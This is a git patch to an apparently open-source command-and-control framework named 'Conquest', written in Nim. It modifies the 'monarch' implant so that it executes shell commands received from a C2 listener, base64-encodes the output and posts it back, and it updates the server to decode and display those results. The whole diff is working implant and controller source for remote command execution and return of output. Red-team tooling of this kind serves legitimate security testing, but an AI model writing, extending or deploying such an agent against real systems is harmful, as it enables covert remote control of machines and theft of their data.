From a8a32668d1f54fae945662901b6b5a5d724d3a58 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Fri, 23 May 2025 16:02:16 +0200 Subject: [PATCH] Fix formatting for multi-line command output and delete tasks after completion. --- agents/monarch/client.nim | 1 - agents/monarch/commands/shell.nim | 16 ++++++++++------ agents/monarch/http.nim | 8 +++++--- agents/monarch/task.nim | 9 +++++---- server/agent/agent.nim | 13 ++++++++++--- server/agent/interact.nim | 7 +++---- 6 files changed, 33 insertions(+), 21 deletions(-) diff --git a/agents/monarch/client.nim b/agents/monarch/client.nim index af3493c..b746876 100644 --- a/agents/monarch/client.nim +++ b/agents/monarch/client.nim @@ -45,7 +45,6 @@ proc main() = # Execute all retrieved tasks and return their output to the server for task in tasks: let result = task.handleTask() - discard postResults(listener, agent, result) when isMainModule: diff --git a/agents/monarch/commands/shell.nim b/agents/monarch/commands/shell.nim index ce7e3a8..72b4e75 100644 --- a/agents/monarch/commands/shell.nim +++ b/agents/monarch/commands/shell.nim @@ -1,10 +1,14 @@ -import winim, osproc, strutils +import winim, osproc, strutils, strformat import ../types -proc taskShell*(command: seq[string]): TaskResult = +proc taskShell*(command: seq[string]): tuple[output: TaskResult, status: TaskStatus] = - echo command.join(" ") - let (output, status) = execCmdEx(command.join(" ")) - - return output + echo "Executing command: ", command.join(" ") + + try: + let (output, status) = execCmdEx(command.join(" ")) + return (output, Completed) + + except CatchableError as err: + return (fmt"An error occured: {err.msg}" & "\n", Failed) \ No newline at end of file diff --git a/agents/monarch/http.nim b/agents/monarch/http.nim index d510a30..1afc13b 100644 --- a/agents/monarch/http.nim +++ b/agents/monarch/http.nim @@ -26,7 +26,7 @@ proc register*(listener: string): string = # Register agent to the Conquest server return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body) except CatchableError as err: - echo "[-] [REGISTER FAILED]:", err.msg + echo "[-] [register]:", err.msg quit(0) finally: client.close() @@ -42,7 +42,7 @@ proc getTasks*(listener: string, agent: string): seq[Task] = except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time - echo "[-] [TASK-RETRIEVAL FAILED]:", err.msg + echo "[-] [getTasks]:", err.msg finally: client.close() @@ -57,12 +57,14 @@ proc postResults*(listener, agent: string, task: Task): bool = let taskJson = %task + echo $taskJson + try: # Register agent to the Conquest server discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson) except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time - echo "[-] [RESULTS FAILED]:", err.msg + echo "[-] [postResults]: ", err.msg finally: client.close() diff --git a/agents/monarch/task.nim b/agents/monarch/task.nim index 03764b3..55fa088 100644 --- a/agents/monarch/task.nim +++ b/agents/monarch/task.nim @@ -1,3 +1,4 @@ +import base64 import ./types import ./commands/commands @@ -7,16 +8,16 @@ proc handleTask*(task: Task): Task = case task.command: of ExecuteShell: - let cmdResult = taskShell(task.args) - echo cmdResult + let (output, status) = taskShell(task.args) + echo output return Task( id: task.id, agent: task.agent, command: task.command, args: task.args, - result: cmdResult, - status: Completed + result: encode(output), # Base64 encode result + status: status ) else: diff --git a/server/agent/agent.nim b/server/agent/agent.nim index 25c461e..49e2aa2 100644 --- a/server/agent/agent.nim +++ b/server/agent/agent.nim @@ -1,4 +1,4 @@ -import terminal, strformat, strutils, sequtils, tables, json, times +import terminal, strformat, strutils, sequtils, tables, json, times, base64 import ./interact import ../[types, globals, utils] import ../db/database @@ -163,8 +163,15 @@ proc handleResult*(listener, agent, task: string, taskResult: Task) = {.cast(gcsafe).}: cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Task execution finished.") - cq.writeLine(taskResult.result) + + if taskResult.result != "": + cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Output:") - # TODO: Remove completed task from the queue + # Split result string on newline to keep formatting + for line in decode(taskResult.result).split("\n"): + cq.writeLine(line) + + # Update task queue to include all tasks, except the one that was just completed + cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task) return \ No newline at end of file diff --git a/server/agent/interact.nim b/server/agent/interact.nim index 90959ab..b8be911 100644 --- a/server/agent/interact.nim +++ b/server/agent/interact.nim @@ -9,7 +9,7 @@ var parser = newParser: help("Conquest Command & Control") command("shell"): - help("Execute a shell command.") + help("Execute a shell command and retrieve the output.") arg("command", help="Command", nargs = 1) arg("arguments", help="Arguments.", nargs = -1) # Handle 0 or more command-line arguments (seq[string]) @@ -44,6 +44,7 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = arguments: seq[string] = opts.shell.get.arguments arguments.insert(command, 0) cq.taskExecuteShell(arguments) + # Handle help flag except ShortCircuit as err: @@ -52,7 +53,5 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) = # Handle invalid arguments except UsageError: - cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg()) - - cq.writeLine("") + cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg(), "\n")